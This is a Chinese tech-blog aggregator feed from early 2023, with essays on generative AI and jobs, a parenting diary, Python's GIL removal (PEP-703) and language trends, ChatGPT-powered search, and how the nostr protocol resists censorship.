我和很多人一样相信,我们在一个新的时代拐点上,我们将见证并亲历这次如有如互联网的诞生,移动互联网的诞生,甚至蒸汽机的诞生一般的变革,并可能有幸参与其中,如果说 AI 是一锅热油,各行各业都是要被油过一遍的食材,那我们就是姜蒜末,除了油本身之外,是最先感受到油的温度的那一批,而现在,大家都被倒了进来,噼里啪啦,很热闹。

图片生成和文本生成,则像 AI 巨人的两条腿,奔跑着迈过人类用自身构筑的脆弱的堡垒,向更深处前进。

从去年开始,许多美术工作者将会被 AI 替代的说法就不绝于耳,但始终像一个传闻,今年情况则骤然转变,我身边就有不止一例因为 AI 带来的效率提升而失去工作的例子,技术发展的不确定性依然存在,但唯一确定的是,这只是一个开始。

没有任何人能够嘲笑美术工作者,因为没有人能不被影响。

代码能被 AI 很好的生成,产品需求可以被 AI 很好的生成,翻译是 AI 的绝活,写文章,故事,发言稿是 AI 的拿手戏,新闻摘要编辑,投资决策,市场分析,法律咨询,对话,发明新菜品,写论文,参加考试,这些我提到的和没提到的,在目前其实已经超过人类的平均水平了,达到人类的顶尖水平也只是时间问题,这样一来,有哪个职业,哪个行业能幸免遇难呢?

汽车替代了马车,但是让人类的生活更好,也带来了更多工作机会,这是一个绝好的,证明我们不应该忧虑的例子,我其实是部分同意这个说法的,甚至在一开始,一些朋友向我表达担忧的时候,我也是举这个例子来回复对方,但现在我觉得情况并不是这么简单。

我是热爱并且积极拥抱这些最新最酷的技术的人之一,但我猛然想到,那些不那么乐意拥抱新技术的人,就一定要被淘汰,这也是让人挺不舒服的一件事,某种程度上这有点像被新技术绑架,有些人乐于被绑架,那其实挺好,有些人不那么乐意被绑架,于是只能不开心的拥抱,或者逐渐失去自己的位置,这其实挺让人难受的。技术发展的这一点,无可指摘,但确实悲悯。作为乐意被绑架的人,我们也没有任何理由幸灾乐祸,因为这次,这个技术,我们乐于被绑架,下次呢,下次万一我们甚至连被绑架的资格都没有呢?

另一个和之前不同的地方则是,生成式 AI,不是让人跑得更快,跳得更高,力气更大,或者憋气更久的什么东西,它是关于创造的,是关于艺术的,某种程度上,我觉得这些可以称之为人类的意义,我不能说,我们在创造一种技术,来毁灭我们存在的意义,这么说肯定夸大其词,但我确实有在想,如果未来的某一天,AI 代替我们思考和创造,我们还剩下什么,所谓的 prompt 的艺术,其实也只是在 AI 还不够完善的时候,一种中间形态而已。AI 会释放人类的创造力,还是毁灭人类的创造力,好像还真的说不好,因为人虽然有无穷的创造力,但是也很懒。

生产力的无限提高,只有一个结果,就是不需要生产。

baye 是我敬仰的一位开发者,他也是著名的短信拦截应用熊猫吃短信的开发者,他前不久快速做了一个 iOS 的 app,实现了chatgpt 的第三方客户端,这成为了他数据上最成功的产品,但他在推文中写到「我一点感受不到兴奋和鼓舞。这是我做的最没技术含量或者说没有我个人烙印的产品了,就是一个 api wrapper 而已。我只感受到了热点的力量,没有感受到我的力量。这种感觉让我很是迷茫。」

我知道的不少更资深的开发者,因为类似的原因,反而不如很多雄心勃勃的新手,AI 成为了一种武器,你只能选择使用或不使用,使用之后,个性和特点将被磨的更平,当然不会完全消失,但正因为 AI 的强大,边边角角的巧思显然会完全被那些绝佳的,生成的内容给盖过,以至于更难被人们注意到。

我不是想说技术的坏话,毫无疑问,底层大模型的开发者研究人员,是真正在推动人类向新的阶段迈进的,这是某种必然,但我们之后会迎来一个怎样的世界,我觉得说不好,我们也应该更谨慎一些。

小时候我常常幻想未来生活在一个科幻的世界,星际旅行,时空穿梭,瞬间移动,发射激光波,这个世界显然没有到来,但用另一种方式,现在的这个世界,似乎更加科幻。

这就是我那个下午想到的,然后我喝完咖啡,继续工作了。

by DK at March 17, 2023 08:54 AM

March 12, 2023

yasking

北京・初春颐和园(2023)


花开了,好友们再次约着去颐和园,相比一个月前 …

by Yieldone at March 12, 2023 07:19 AM

March 09, 2023

pythoncat

100 天

几天前,在傍晚约莫 7 点时分,我们坐上了顺风车,一家人从泰州返程回苏州。
启程还没多久,我怀抱中的小羽儿突然从安静好奇地探视夜景,变为挣扎和哄不住的啼哭。我感受到了车内烘热的气温,伸手在他额头上摸出了汗迹。
汽车行驶在热闹的大街上,车辆、红绿灯、高楼和墙饰、广告牌、路标和路灯、景观树木、变速和颠簸,以及车里那大声而俗气的音乐,也许是这些信息令他感到不安了。
当豌豆把他抱去喂了一侧边母乳后,我们的车终于驶到了较平缓的路段,车里已关了壁灯,减少了光源。
我把小羽儿平抱在大腿上。他没有哭,没有笑,没有睡觉,没有发出声音,有好一会儿时间里,只是睁大了双眼直直向上看着我的脸。
我时而看向他,时而转头看车外,每次转头,发现他都是一样的姿势和神态。
过了一会,豌豆头抵着我的头,一起看他。
我们笑了。
他也笑了!
婴儿水灵灵的大眼睛是那样纯净,也不知道在那昏暗的光亮频闪的环境里,他辨别出我们的笑脸时,留下的是什么样的印象。
他似乎是成长到了一个容易发笑的阶段,浅浅的笑、吐出了点舌尖的笑、灿烂出了声兼手脚挥舞的笑,已经掌握了人类的初级表情语言。
小羽儿刚满 100 天龄,他在快速地适应和学习。这是他第一次出远门,去程的时候正是中午,他基本是在睡觉,而回程的这一路,则一直不肯入睡。白天与黑夜的作息规律,似乎需要克服更大的生理惯性才能适应呢。
那天白天,小羽儿第一次剪了头发,成了光头。理发师已经从业多年了,她夸赞说,小羽儿长得真好,完全不像其他 100 天的娃。小羽儿个子高,脑袋大。理发期间几乎不挣扎,更是没有哭,这在她的理发经验里,属于是罕见的了。
小羽儿很容易亲近人,不怕生怯懦。在前一天以他为主角的人声嘈杂的晚宴上,他被轮流着抱来抱去,谁也不抗拒,谁也不敷衍,安静观察着、聆听着、闻嗅着、感触着、记忆着、等待着,竟然有绝大部分时间是在陌生人的手上!
宾客们都对他很满意,小小年纪的他从一众长辈那里挣下了第一个好印象,第一次在社交场上表现出了过人之处。
在这一项上,他很不像作为父母的我们。
或许这只是一种年幼时的单纯表现,并不是一种会长久持有的秉性,但是,这样的时刻值得用文字仔细记录下来,我希望这能印刻成他生命图腾的基调之一,助他演生出偏于积极外向型的人格。
那天白天,他的表姐来了。小羽儿如今还不是可以互动做游戏的年纪,眼神停留在她红红的羽绒服上看着,又看着。
等到他乏了趴在我身上睡觉时,她在请教着自己姑姑做作业。等到午饭过后,他躺在床上睡觉,她在一旁拢着手机刷起了小视频。
有一个姐姐在身边,融洽的气氛让人心安。
她非常活泼,好奇地问着桌上这个是什么,那个是什么,问着小小台钟上的时针分针秒针是怎么看的。
她已学了 100 以内的数字计算,但对 6+7-4 这样的连续计算还是感觉吃力,也会混淆百数表的空间位置与卷面题目顺序的关系,在找规律做推理的时候不完全熟练。
一边听着她们的对话,一边感受着小羽儿轻微的呼吸,我不禁又想起了亲子教育与引导成长的话题。
多年前,我看到过一个教育理念,它深深印在了我的认知里,每到这种时刻,总是第一个冒出来。
它的核心观点是不要顺口而出夸赞小孩“很聪明”“很有天赋”“天生xxx”,家长应该关注那些后天习得的能力,比如某种好的习惯、做事与解决问题的思维方法、情绪调节的能力、不怕犯错的积极心态、以及吸取经验完善自己的能力,等等。
在这样的理念下,没有一个小孩是“笨蛋”,也没有一个小孩是“聪明鬼”,只有“笨家长”和“聪明家长”。
遗传基因确实对一个人的未来有着重大影响,但是,成年前的家庭教育环境与方式,影响更大。
上个月的某天,刚好是我和豌豆结婚七周年纪念日。我们在婚后几年里一直刻意避孕和屏蔽长辈们的生育建议,豌豆有她的诸多担忧因素,我也有我的顾虑,其中最大的顾虑就是家庭教育。
我曾有很强的优生优育想法。
这种想法有一个很早的起源:我老家那边有一种多生超生的传统,基于自身的经验和观察到的不好例子,所以我在上大学前就产生了对早生、多生、留守、散养方式的排斥。
另一方面,我意识到自己没有从上一代那里得到某些东西,所以当考虑养育下一代的时候,我就希望他不要再感受到同样的匮乏、窘迫和缺憾。同时,意识到了自身的不足,我恐怕也难以通过言传身教、以身作则的方式,教给小孩某些东西。
我们慎重考虑了很久,才决定生小孩。
豌豆放下了她的一些担忧,我也消解了自己的几个顾虑。
我们想通了一点,小孩成长的环境并不是一座标准化的温室大棚,不能像控制光照时长、温度湿度和营养数值一样精确调控那些关键的变量,不能将天灾、风雨、杂草和蜂虫都阻挡在外,但是,我们也并不希求那娇弱的花朵,我们希望 TA 自然生长,面对挑战时能坚强自立,面对困境时则迸发生机。
经过了半年备孕和十月怀胎,我们迎来了一个小天使,已陪他探险这个世界超过 100 天。
如今,他健康茁壮,常露笑脸。
每当回看过去的时候,我总是觉得时间过得真快。曾经遇到的某些烦恼的小问题,并没有对未来产生什么影响。时间可以抚平波折,沥选沉沙,仔细看,那是一些会发光的颗粒。
小羽儿剪了光头,才过几天,那些柔柔软软的毛发又很快长高了。几天前剪短了指甲,现在也很快变长变尖了。
时间在他身上,似乎流速更快些。
有些时候,我希望他能快一点长大。有些时候,我又希望他能慢一点长大。
千羽,快一点长大吧,那我就能听懂你的诉求,能教你知识,能一起去探索世界中的美好,一同去品味人生中的酸甜苦乐。
千羽,慢一点长大吧,那我就能借着拍嗝哄睡而长时间把你抱在身上,头贴着头给你哼些随性的小曲,不用怕被某种无形的力量割分出距离。
时间的节奏不服务于人的意愿。
我知道没必要着急,没必要贪恋。
现在要做的是,爱眼前的人,活好每一个真实的白天与黑夜,为将来提前做些准备,同时再捕捉住零碎的思绪,添附到这一个又一个文字上。

March 09, 2023 12:00 AM

March 02, 2023

yasking

Golang 指针接收器与值接收器


本篇文章整理值接收器与指针接收器相关知识 …

by Yieldone at March 02, 2023 01:00 PM

February 28, 2023

yasking

对 Session、Token、JWT 认证的碎碎念


一直都没有梳理过基于 Web 服务 Session / Token 认证方式,刚 …

by Yieldone at February 28, 2023 02:00 PM

February 23, 2023

yasking

编程新体验:描述需求,让 ChatGPT 写代码


前段时间用 ChatGPT 问了不少问题,菜谱、脚本、起变量/模 …

by Yieldone at February 23, 2023 01:00 PM

February 21, 2023

yasking

Golang 使用 Redis 锁阻止接口并发请求(重复提交)


本文介绍使用 Redis 锁来限制接口的并发请求。

问题 …

by Yieldone at February 21, 2023 01:00 PM

February 20, 2023

pythoncat

这一次,Python 真的有望告别 GIL 锁了?

Python 中有一把著名的锁——全局解释器锁(Global Interpreter Lock,简写 GIL),它的作用是防止多个本地线程同时执行 Python 字节码,这会导致 Python 无法实现真正的多线程执行。(注:本文中 Python 解释器特指 CPython)
这把锁在 Python 的早期发展中具有积极的作用(单核 CPU 时代),然而,它阻碍了 Python 在多核 CPU 上的并行编程,引起了开发者们与日俱增的诟病。
GIL 影响的主要是 CPU 密集型任务,比如科学计算与数值计算任务。
在最近发布的 PEP-703 中,它概括了 GIL 对科学计算(主要是 AI/ML)造成的四类问题:
  • GIL 导致许多并行化操作难以表达(影响强化学习、DeepMind、医学治疗及生物研究等领域)
  • GIL 影响了 Python 库的可用性(例如 PyTorch、scikit-learn、NumPy)
  • GIL 导致无法充分利用 GPU 资源(例如计算机视觉任务)
  • GIL 导致难以部署 Python AI 模型(例如基于神经网络的 AI 模型)
社区中想要移除 GIL 的呼声以及尝试,此起彼伏,绵绵不绝,但这个话题一直悬而未决。
抱怨、质疑、不满、不甘、期盼等这些诸多的情绪,不是那么容易平息的。然而,从一个积重已久的庞大的项目中移除一个根基性的设计,又谈何容易?
2023 新年刚过,这个话题又一次热了起来,又一轮对 GIL 的挑战开始了。
这一次,事情似乎有了新的转机,这次也许能成功了呢?
PEP-703 在今年 1 月 9 日新鲜出炉,虽然它目前仍是“草案”状态未被采纳,但是这份 PEP 的意义十分重大!
(注:每个 Python 学习者都应该基本了解 PEP,建议阅读《学习Python,怎能不懂点PEP呢? 》)
这个 PEP 的作者是 Sam Gross,他是 nogil 项目的作者。Python猫的老读者应该有印象,我们在 2021 年曾翻译过他与 Python 核心开发者们的一次研讨会的纪要,这份纪要里概括了 nogil 的主要设计思路,同时回答了核心开发者们最为关注的约 20 个问题。
经过一年多时间的沉淀,nogil 项目现在终于形成了正式的 PEP,这意味着它被采纳进 Python 主分支的可能性变大了一些啦!
PEP 的标题是《使 CPython 的 GIL 成为可选项》(Making the Global Interpreter Lock Optional in CPython),内容详实,正文超过 1 万字,这个体量的 PEP 绝对够得上排在所有 PEP 的前十了。
简单而言,这份提案提议给 CPython 增加一个构建时配置项--disable-gil ,作用是构建出一个线程安全的无 GIL 的解释器。
为了实现无 GIL 的解释器,Python 底层的部分设计必须作出变更,内容可以概括成四类:
  • 引用计数
  • 内存管理
  • 容器线程安全
  • 锁和原子 API
如果这份 PEP 被采纳实现的话,它会带来一个不容忽视的问题:Python 将发布两个不同版本的解释器,而第三方库也要相应地开发/维护/发布两个版本的软件包。
PEP-703 的作者也考虑到了这个问题,他提出的解决方案是与 Anaconda 一起发布无 GIL 的 Python,同时在 conda 里集中发布管理那些兼容了新 Python 的库。
考虑到 Anaconda 在科学计算与数值计算领域的强大影响力,此举既能较好地发挥 nogil Python 的用处,又能减少用户及三方库开发者面对两种发行版时的割裂感。
值得注意的是,nogil 的 Python 还有一个更大的问题,那就是会影响单线程程序的性能。
基于 Python 3.11 版本,实现了有偏见的引用计数及永生对象后,Python 单线程性能会变慢 10%。
尽管这个数值在最新的 nogil 原型版本上可以降低到 5%,但是,另外至少还有两项难以规避的性能下降点:
  • 2% - 全局的自由列表(主要是元组和浮点数自由列表)
  • 1.5% - 集合中每个对象的互斥锁(字典、列表、队列)
单线程的代码才是最广泛的使用场景,可以说这会影响到每一个 Python 用户。任何试图移除 GIL 的项目都不可避免要面临这项挑战。
尽管存在着以上的两大问题,但 PEP-703 还是很有可取之处的。
比如,相比于 2015 年提出的著名的 Gilectomy 项目(由 GIL ectomy 两个单词组合而成,ectomy 是一个医学上的术语“切除术”),nogil 在单线程的性能上要快得多,同时可扩展性也更好。
比如,相比于 2021 年火热的“香农计划”的作者 Eric Snow 提出的 PEP-684 方案(给每个子解释器创建 GIL),后者一方面需要实现作为前提的多个 PEP(如 PEP-554、PEP-683),另一方面需要用户处理多子解释器间共享变量的麻烦。
在香农计划的《Python 3.12 目标》中,PEP-554 与 PEP-684 已经囊括在内了,版本目标是充分利用 Python 的子解释器,让子解释器使用各自的 GIL,从而实现多线程的并行。
好消息是,3.12 的计划跟本文的主角 PEP-703 并不冲突。事实上,它们的很多设计细节是一致的,也就是说,这两套对于 GIL 的改造方案是可以共存的,它们相互促进,事半功倍!
香农计划有 Python 之父 Guido van Rossum 站台,还有财大气粗的微软支持着一支豪华的团队投入开发(含 Guido 和 Eric Snow),因此,多解释器多 GIL 的方案很可能会更快落地。
而 PEP-703 有 PSF 首位全职开发者 Łukasz Langa 的倾力支持,社区的反响也不错,我觉得它今后落地的希望也挺大!
无论如何,这次香农计划和 PEP-703 掀起的对 GIL 的挑战,比以往所有的尝试都更猛烈,更有成功的可能,让人不由得心生欢欣之喜~~
但愿它们实现的一天不会太远吧。

February 20, 2023 12:00 AM

February 19, 2023

yasking

北京・史家胡同(2023)


北京史家胡同是位于中国北京市西城区金融街 …

by Yieldone at February 19, 2023 07:19 AM

February 16, 2023

yasking

AWS S3 通过 CLI 脚本递归移除删除标记


前置条件

  • S3 Bucket 需已开启版本管理。
  • 删除文件是通 …

by Yieldone at February 16, 2023 01:00 PM

February 14, 2023

yasking

Golang 更新数据库字段为类型零值的三种方式(go-pg)


之前使用 go-pg ORM 更新数据库字段为 Go 语言中零值 …

by Yieldone at February 14, 2023 01:00 PM

February 13, 2023

yasking

February 12, 2023

pythoncat

Python 发展趋势:与 Rust 深度融合、更易于编写 Web 应用

大家好,我是猫哥,好久不见!2022 年末的时候,我不可避免地阳了,借着身体不舒服就停更了,接踵而至的是元旦和春节假期,又给自己放了假,连年终总结也鸽了,一懈怠就到了 2 月中旬……
现在是我家娃出生的第三个月,全家人大部分的时间和精力都在他身上,结果是幸福与疲累共存。新生儿是那么的可爱,又是那么的“吵闹”,影响着我们的情绪和生活节奏。这三个月的基调跟过去的日子完全不同,它是新一年的开始,是未来日子的底色,引导着我们的生活重心偏移。
在过去的两年时间里,我工作上的任务与 Python 基本无关了,转向了 Java 的阵营。然而,在业余时间里,我对 Python 的热情一直不灭(尽管有退减),直到近期,懒怠的念头变多了。
身心状态与家庭节奏是这段时间停更的主要原因吧。
今年的这第一篇文章,就当作给大家问声好,给自己打个气吧。唯愿 2023 年,家庭、工作与兴趣都能顺顺利利,不留遗憾,相信前方有美好的未来!

最近的 Pycoder‘s Weekly 中有一篇《Three Python trends in 2023》,它介绍了当下较为热门的三个话题。我简略翻译/摘录出来,分享给大家。

趋势一:Python🤝Rust

Rust 对 Python 技术生态的影响越来越大了。关键的赋能者是 PyO3,它为 Python 提供了 Rust 绑定。有了 PyO3 后,Python 可以轻松调用 Rust 代码,同时 Rust 也能执行 Python 代码。
另外,下面的工具在进一步加深这两门语言的友谊:
  • pydantic-core:pydantic v2 的校验核心。pydantic 的作者 Samuel Colvin 将在 Pycon 2023 上发表相关演讲
  • ruff:速度极快的 linter。它拥有几乎与 Flake8 相同的功能,包括一些流行的插件。此外,它具有与 autoflake、isort、pydocstyle 和 pyupgrade 等工具相同的功能。因此,它基本上是检测 Python 代码的瑞士军刀。
  • polars:更快的 DataFrames,是超级广泛使用的 pandas 的性能竞争对手。
  • Robyn:带 Rust 运行时的异步 Python web 框架。这有一篇博客关于《Robyn 的 2023 年路线图》。
Rust 目前的热度极高,未来它将融入到更多 Python 相关的项目和工具中。Python + Rust 的组合在未来的就业市场上,也可能有很高的需求。

趋势二:Web 应用

从历史上看,用户界面并不是 Python 的强项。然而,最近机器学习和数据应用的兴起,催生了一批”使用纯 Python 的 Web UI”框架,例如 StreamlitNiceGUIPynecone。这样的框架为 Pythonistas 提供了构建 Web 应用的快捷方式,不再需要学习 JavaScript+HTML+CSS 技术栈。
另一条线路是浏览器中的 Python。通过 PyodidePyScript和相关工具,这已经实现了。它的基础推动者是与所有主流浏览器兼容的 WASM (WebAssembly)。在写本文时, CPython 源码库中已经有了对 CPython 的 WASM 构建的实验性支持。如果你想深入了解,可以查看 Python 3.11 in the Web Browser,这是 Cristian Heimes 在 PyConDE 2022 上的演讲。
WASM 的故事还处于早期阶段,但它有着巨大的潜力,将使 Python 更容易访问并支持新的使用场景。我希望在不久的将来这个领域会有大量的创新。

趋势三:类型安全

CPython 对类型的支持在不断发展。例如,Python 3.10 发布了 4 个与类型相关的 PEP, 3.11 发布了 5 个。此外,PyCon 还有专门的 Typing Summit。与此同时,与类型相关的工具已经成熟化和多样化。例如,现在有一大把静态类型检查器可供选择(例如 mypy、Pyright、pytype 和 Pyre)。此外,一些包(例如 pydantic)可以在运行时巧妙地利用类型信息。(延伸阅读:介绍几款 Python 类型检查工具
*args, **kwargs 的时代即将结束,它们将被带有类型注释的签名所取代。类型极大地提高了代码可读性。当可读性与便利的 IDE 相结合,阅读庞大的 Python 代码库将变得相对容易。另一方面,在习惯了类型信息带来的超能力之后,无类型的代码库会更让人感到难受。
无论现今和未来的趋势如何,Python 比以往任何时候都更受欢迎。在写本文时(2023 年 2 月),PyPI 中有 431k 个项目和 665k 个用户。在“how often language tutorials are searched in Google”中,Python 以 27.93% 的份额领先(来源)。Reddit 上的 r/Python 话题有 1.1 万订阅,r/learnpython 有 68 万订阅。

February 12, 2023 12:00 AM

February 11, 2023

coolshell

我看ChatGPT: 为啥谷歌掉了千亿美金

两个月前,我试着想用 ChatGPT 帮我写篇文章《eBPF 介绍》,结果错误百出,导致我又要从头改一遍,从那天我觉得 ChatGPT 生成的内容完全不靠谱,所以,从那天开始我说我不会再用 ChatGPT 来写文章(这篇文章不是由 ChatGPT 生成),因为,在试过一段时间后,我对 ChatGTP 有基于如下的认识:

  1. ChatGPT 不是基于事实,是基于语言模型的,事实对他来说不重要,对他重要的是他能读懂你的问题,并按照一定的套路回答你的问题。
  2. 因为是基于套路的回答,所以,他并不能保证内容是对的,他的目标是找到漂亮的精彩的套路,于是,你会发现,他的内容组织能力和表述还不错,但是只要你认真玩上一段时间,你会发现,ChatGPT 那些表述的套路其实也比较平常一般。它的很多回答其实都不深,只能在表面上。就像 Github 的 Copilot 一样,写不了什么高级的代码,只能帮你写一些常规格式化的代码(当然,这也够了)
ChatGPT 就是一个语言模型,如果不给他足够的数据和信息,它基本就是在胡编乱造

所以,基于上面这两个点认识,以发展的眼光来看问题,我觉得 ChatGPT 这类的 AI 可以成为一个小助理,他的确可以干掉那些初级的脑力工作者,但是,还干不掉专业的人士,这个我估计未来也很难,不过,这也很帅了,因为大量普通的工作的确也很让人费时间和精力,但是有个前提条件——就是ChatGPT所产生的内容必需是真实可靠的,没有这个前提条件的话,那就什么用也没有了

今天,我想从另外一个角度来谈谈 ChatGPT,尤其是我在Youtube上看完了微软的发布会《Introducing your copilot for the web: AI-powered Bing and Microsoft Edge 》,才真正意识到Google 的市值为什么会掉了1000亿美元,是的,谷歌的搜索引擎的霸主位置受到了前所未有的挑战……

我们先来分析一下搜索引擎解决了什么样的用户问题,在我看来搜索引擎解决了如下的问题:

  • 知识或信息索引。查新闻,查股票,查历史,查文档,找答案……
  • 找服务提供商。找卖东西的电商,找帮你修东西的服务,找软件……
  • 信息的准确和可靠。搜索引擎的rank算法保证了最准确、最有用、最权威的信息出现在最前面……(作恶的百度不在此列)

基本上就是上面这几个,搜索引擎在上面这几件事上作的很好,但是,还是有一些东西搜索引擎做的并不好,如:

  • 搜索引擎是基于关键词的,不是基于语义的。所以,搜索引擎并不知道你的真实需求,因此,你会不可避免地要干下面的事,
    • 你经常要不断地增加或调整不同的关键词来提高查询信息的准确度……
    • 你经常要在你查找的信息中进行二次或多次过滤和筛选……
  • 搜索引擎是只能呈现内容,无法解读内容。所以,你找到相关的链接后,你还要花大量的时间来阅读理解,经常性的你不可避免的要干下面的事:
    • 打开一个链接,读到了一大半后,发现你要的内容不在其中,只能关掉再打开一个……
    • 你想要的内容是在的,但是太晦涩,看不懂,太费解,你要找小白友好的版本……
    • 你想要的内容不完整,你需要在很多个链接和网页上做拼图游戏……
    • 内容是无法结构化的展示的,你搜到的东西全都是碎片信息
  • 搜索引擎没有上下文关联,两次搜索是没有关系的。也就是说,人知道的越多,问题也就越多,所以,我们经常会面临下面的问题:
    • 随着我了解的越多,我的信息搜索的会出现分支,这个分支只有我自己的管理,搜索引擎是不关心的,导致我每次都相当于从头开始……
    • 你做计划的时候,你需要从多个不同的搜索中获取你想要的东西,最终组合成你定制化的东西,比如做旅游计划……

好了,我们知道,ChatGPT 这类的技术主要是用来根据用户的需求来按一定的套路来“生成内容”的,只是其中的内容并不怎么可靠,那么,如果把搜索引擎里靠谱的内容交给 ChatGPT 呢?那么,这会是一个多么强大的搜索引擎啊,完全就是下一代的搜索引擎,上面的那些问题完全都可以解决了:

  • 你可以打一段话给搜索引擎,ChatGPT 是读得懂语义的。
  • 因为知道语义,于是在众多搜过结果中,他更知道哪些是你想要的内容。
  • ChatGPT 可以帮你生成 TL;DR,把长文中的要求总结出来形成更易读的短文
  • ChatGPT 可以帮你整理内容,在多个网页中帮你整合和结构化内容
  • ChatGPT 可以有上下文对话,你可以让他帮你不断通过更多的关键词搜索信息,并在同一个主题下生成、组织和优化内容

一旦 ChatGPT 利用上了搜索引擎内容准确和靠谱的优势,那么,ChatGPT 的能力就完全被释放出来了,所以,带 ChatGPT 的搜索引擎,就是真正的“如虎添翼”!

因此,微软的 Bing + ChatGPT,成为了 Google 有史以来最大的挑战者,我感觉——所有跟信息或是文字处理相关的软件应用和服务,都会因为 ChatGPT 而且全部重新洗一次牌的,这应该会是新一轮的技术革命……Copilot 一定会成为下一代软件和应用的标配!

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 我看ChatGPT: 为啥谷歌掉了千亿美金 first appeared on 酷 壳 - CoolShell.

by 陈皓 at February 11, 2023 04:31 PM

February 03, 2023

coolshell

聊聊 nostr 和 审查

这两天在网络上又有一个东西火了,Twitter 的创始人 @jack 新的社交 iOS App  Damus 上苹果商店(第二天就因为违反中国法律在中国区下架了),这个软件是一个去中心化的 Twitter,使用到的是 nostr – Notes and Other Stuff Transmitted by Relays 的协议(协议简介协议细节),协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品,如:MastodonSecure Scuttlebutt 。我顺着去看了一下这个协议,发现这个协议真是非常的简单,简单到几句话就可以讲清楚了。

通讯过程

  • 这个协议中有两个东西,一个是 client,一个是 relay,client 就是用户社交的客户端,relay 就是转发服务器。
  • 用户不需要注册,用户只需要有一个密钥对(公钥+私钥)就好了,然后把要发的信息做签名,发给一组 relays
  • 然后你的 Follower 就可以从这些 relays 上订阅到你的信息。

技术细节摘要

  • 技术实现上,nostr 使用 websocket + JSON 的方式。其中主要是下面这么几个指令
    • Client 到 Relay主要是下面这几个指令:
      • EVENT。发出事件,可以扩展出很多很多的动作来,比如:发信息,删信息,迁移信息,建 Channel ……扩展性很好。
      • REQ。用于请求事件和订阅更新。收到REQ消息后,relay 会查询其内部数据库并返回与过滤器匹配的事件,然后存储该过滤器,并将其接收的所有未来事件再次发送到同一websocket,直到websocket关闭。
      • CLOSE。用于停止被 REQ 请求的订阅。
    • Relay 到 Client 主要是下面几个指令:
      • EVENT。用于发送客户端请求的事件。
      • NOTICE。用于向客户端发送人类可读的错误消息或其他信息
  • 关于 EVENT 下面是几个常用的基本事件:
    • 0: set_metadata:比如,用户名,用户头像,用户简介等这样的信息。
    • 1: text_note:用户要发的信息内容
    • 2recommend_server:用户想要推荐给关注者的Relay的URL(例如wss://somerelay.com

如何对抗网络审查

那么,这个协议是如何对抗网络审查的?

  • 识别你的身份是通过你的签名,所以,只要你的私钥还在,你是不会被删号的
  • 任何人都可以运行一个或多个relay,所以,就很难有人控制所有的relay
  • 你还可以很方便的告诉其中的 relay 把你发的信息迁到另一个 relay 上
  • 你的信息是一次发给多个relay的,所以,只要不是所有的热门realy封了你,你就可以发出信息
  • 每个relay的运营者都可以自己制定规则,会审查哪些类型内容。用户据此选择即可。基本不会有一个全局的规则。
  • 如果你被全部的relay封了,你还是可以自建你的relay,然后,你可以通过各种方式告诉你身边的人你的relay服务器是什么?这样,他们把这个relay服务器加到他们的client列表中,你又可以从社死中复活了。

嗯,听起来很简单,整个网络是构建在一种 “社区式”的松散结构,完全可能会出现若干个 relay zone。这种架构就像是互联网的架构,没有中心化,比如 DNS服务器和Email服务器一样,只要你愿意,你完全可以发展出自己圈子里的“私服”。

其实,电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候,我当时在北京,当时的卫生部部长说已经控制住了,才12个人感染,当局也在控制舆论和删除互联网上所有的真实信息。但是,大家都在用电子邮件传播信息,当时基本没有什么社交软件,大家分享信息都是通过邮件,尤其是外企工作的圈子,当时每天都要收很多的非典的群发邮件,大家还都是用公司的邮件服务器发……这种松散的,点对点的架构,让审查是基本不可能的。其实,我觉得 nostr 就是另外一个变种或是升级版的 email 的形式

如何对抗Spam和骗子

但是问题来了,如果不能删号封人的话,那么如何对抗那些制造Spam,骗子或是反人类的信息呢?nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你,如果给他发私信,需要支付一点点btc ,或是relay要求你给btc才给你发信息(注:我不认为这是一个好的方法,因为:1)因为少数的坏人让大多数正常人也要跟着付出成本,这是个糟糕的治理方式,2)不鼓励那些生产内容的人,那么平台就没有任何价值了)。

不过,我觉得也有可以有下面的这些思路:

  • 用户主动拉黑,但很明显这个效率不高,而且体验不好
  • 社区或是同盟维护一个黑名单,relay定期更新(如同email中防垃圾邮件也是这样搞的),这其实也是审查。
  • 防Spam的算法过滤垃圾信息(如同email中干的),自动化审查。
  • 增加发Spam的成本,如: PoW 工作量证明(比特币的挖矿,最早也是用于Email),发信息要花钱(这个对正常用户伤害太大了)等。
  • ……

总之,还是有相应的方法的,但是一定没有完美解,email对抗了这么多年,你还是可以收到大量的垃圾邮件和钓鱼邮件,所以,我觉得 nostr 也不可能做到……

怎么理解审查

最后,我们要明白的是,无论你用什么方法,审查是肯定需要的,所以,我觉得要完全干掉审查,最终的结果就是一个到处都垃圾内容的地方!

我理解的审查不应该是为权力或是个体服务的,而是为大众和人民服务的,所以,审查必然是要有一个开放和共同决策的流程,而不是独断的

这点可以参考开源软件基金会的运作模式。

  • 最底端的是用户(User)参与开源社区的使用并提供问题和反馈。
  • 用户在使用过程中了解项目情况后贡献代码和文档就可以晋升为贡献者(Contributors),
  • 当贡献者提交一定数量贡献之后就可以晋升为提交者(Committers),此时你将拥有你参与仓库的代码读写权限。
  • 当提交者Committers在社区得到认可后,由项目管理委员会(PMC)选举并产生PMC成员(类似于议员),PMC成员拥有社区相关事务的投票、提名和共同决策权利和义务。

注意下面几点

  • 整个社区的决策者,是要通过自己贡献来挣到被选举权的。
  • 社区所有的工作和决定都是要公开的。
  • 社区的方向和决策都是要投票的,PMC成员有binding的票权,大众也有non-binding的投票权供参考。
  • 如果出现了价值观的不同,那么,直接分裂社区就好了,不同价值观的人加入到不同的社区就好了

如果审查是在这个框架下运作的话,虽然不完美,但至少会在一种公允的基础下运作,是透明公开的,也是集体决策的。

开源软件社区是一个很成功的示范,所以,我觉得只有技术而没有一个良性的可持续运作的社区,是不可能解决问题的,干净整齐的环境是一定要有人打扫和整理的

 

欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 聊聊 nostr 和 审查 first appeared on 酷 壳 - CoolShell.

by 陈皓 at February 03, 2023 07:46 AM

January 22, 2023

ihewro

生活的难题没有因为新年而消失(2022年终总结)

[scode type="share" size="simple"]

  • 2021年:[post cid="1205" size="small"/]
